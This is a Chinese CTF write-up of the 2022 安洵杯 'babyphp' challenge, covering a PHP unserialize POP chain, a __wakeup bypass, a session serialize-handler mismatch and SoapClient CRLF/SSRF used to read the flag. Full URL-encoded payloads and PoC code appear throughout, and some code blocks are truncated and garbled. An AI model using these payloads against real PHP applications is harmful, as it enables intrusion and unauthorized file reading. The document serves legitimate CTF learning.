2022安洵杯babyphp

这个题没打出来有点可惜，感觉做的都差不多了，不过有些地方确实没理解，还是理解不到位

先来看序列化，这个序列化是不难的，不过有一个小坑，我们先理一遍顺序

array(0) { } a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

flag.php

这里最后肯定要调用C类的uwant函数，可以由A类的__invoke()方法触发，

A类的__invoke()方法由C类的__toString()方法触发，这里有一个小坑，我当时一直以为这个tostring是A类的 $this->a = "babyhacker";触发的，结果一直没跑通，后来看没用到B类，尝试用B的die($this->a);，没想到是可以的

那这样链子就出来了

Poc

a=$a;
        $this->b=$b;
    }

    public function __wakeup()
    {
        $this->a = "babyhacker";
        echo '触发了A类的 __wakeup';
    }

    public function __invoke()
    {echo '触发了A类的 __invoke';
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;
    public function __construct($a,$b,$k)
    {
        $this->a=$a;
        $this->b=$b;
        $this->k=$k;
    }

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __construct($a,$c)
    {
        $this->a=$a;
        $this->c=$c;
    }

    public function __toString()
    {
        echo '触发了C类的 __toString';
        $cc = $this->c;
        return $cc();
        
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}

$a=new B(new C('',new A('0e215962017',new C('phpinfo',''))),'','');
echo (serialize($a));

Payload

这里记得绕过wakup

pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A1%3A%22c%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22k%22%3Bs%3A0%3A%22%22%3B%7D

 

接下来就是想 call_user_func(array(reset($_SESSION), $this->a));的利用了

call_user_func函数中的参数可以是一个数组，数组中第一个元素为类名，第二个元素为类方法

reset的话会把指针指向$_SESSION数组的第一个键值对

感觉这里是不是在考php原生类读文件呢？

PHP利用原生类进行SSRF攻击

https://blog.csdn.net/weixin_44033675/article/details/116903866

还是先叙述一下这个攻击手法：

SoapClient是php的一个内置类，它本身是存在CRLF和SSRF漏洞的，怎么说呢？这个类可以控制发送请求包，并且headers可控，不仅可控，还可以传入回车+换行（\r\n），那么被回车下去的请求头不就成了post数据。所以我们可以任意构造请求包，另外，当这个类被调用它没有的方法，会触发它的call，引发SSRF漏洞

 $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

session反序列化漏洞：

session是会被反序列化存储到本地的

session.serialize_handler这个参数控制session反序列化的处理器，不同的处理器序列化的结果不一样

当 session.serialize_handler=php 时，session文件内容为： name|s:7:"1234567";

当 session.serialize_handler=php_serialize 时，session文件为： a:1:{s:4:"name";s:7:"1234567";}

当 session.serialize_handler=php_binary 时，session文件内容为： 二进制字符names:7:"1234567";

而当session反序列化和序列化时候使用不同引擎的时候，即可触发漏洞

php引擎会以|作为作为key和value的分隔符，我们在传入内容的时候，比如传入

$_SESSION[‘name’] = ‘|username‘

那么使用php_serialize引擎时可以得到序列化内容

a:1:{s:4:”name”;s:4:”|username”;} 

然后用php引擎反序列化时，|被当做分隔符，于是

a:1:{s:4:”name”;s:4:”

被当作key

username被当做vaule进行反序列化

于是，我们只要传入$_SESSION[‘name’] = |序列化内容

即可触发漏洞

SoapClient序列化构造：

 "aaa\r\nCookie:PHPSESSID=u6ljl69tjrbutbq4i0oeb0m332",  
        'uri' => 'bbb',
        // 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字
        'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg'
         
    )
);
$b = serialize($a);
echo urlencode($b);
?>

首先通过ini_set更改session的处理器，传入构造的session序列化字符串

if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}

Payload

GET: ?baby=session.serialize_handler&d0g3=php_serialize POST: sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A47%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DGlobIterator%26b%3D%2F%2Af%2A%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Disub76msd2qttd2jh39vhvepak%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A67%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Disub76msd2qttd2jh39vhvepak%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

第二次，需要将sess设置为SoapClient这个类，方便第三次利用反序列化pop链中call_user_func激活soap类

Payload

GET ?D0G3 POST sess=SoapClient

第三次，直接用call_user_func激活soap类，通过flag.php将flag写入session

Payload

pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A7%3A%22aaa%22%3Bs%3A1%3A%22c%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22k%22%3Bs%3A0%3A%22%22%3B%7D

实际上那个第二步可能是不需要的，soap类的序列化字符串已经存入session了，直接传入pop激活soap也是可以的